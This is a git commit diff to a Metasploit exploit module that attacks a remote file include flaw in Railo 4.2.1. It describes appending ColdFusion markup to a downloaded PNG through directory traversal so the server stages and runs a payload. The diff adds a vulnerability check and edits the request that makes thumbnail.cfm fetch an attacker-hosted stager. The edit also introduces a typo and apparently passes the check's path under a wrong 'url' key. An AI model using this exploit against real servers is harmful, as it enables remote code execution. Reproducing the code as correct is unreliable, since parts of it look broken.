Add check method

modules/exploits/linux/http/railo_cfml_rfi.rb

@@ -17,10 +17,10 @@ class Metasploit4 < Msf::Exploit::Remote
       'Description' => %q{
       This module exploits a remote file include vulnerability in Railo,
       tested against version 4.2.1. First, a call using a vulnerable
-      <cffile> line in thumbnail.cfm allows an attacker to download an
-      arbitrary PNG file. By appending a .cfm and taking advantage of
+      <cffile> line in thumbnail.cfm allows an atacker to download an
+      arbitrary PNG file. By appending a .cfm, and taking advantage of
       a directory traversal, an attacker can append cold fusion markup
-      to the PNG file and have it interpreted by the server. This is
+      to the PNG file, and have it interpreted by the server. This is
       used to stage and execute a fully-fledged payload.
       },
       'License' => MSF_LICENSE,
@@ -63,6 +63,13 @@ class Metasploit4 < Msf::Exploit::Remote
   end
 
   def check
+    res = send_request_cgi({
+      'url' => normalize_uri(target_uri.path, 'res', 'css', 'admin42.css.cfm')
+    })
+
+    return Exploit::CheckCode::Appears if res and res.code == 200
+
+    return Exploit::CheckCode::Safe
   end
 
   def exploit
@@ -92,7 +99,7 @@ class Metasploit4 < Msf::Exploit::Remote
     wh = '5000' #width and height
 
     res = send_request_cgi({
-      'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'),
+      'uri' => normalize_uri(target_uri.path, 'admin', 'thumbnail.cfm'),
       'vars_get' => {
         'img' => url + '/' + stager_name,
         'height' => wh,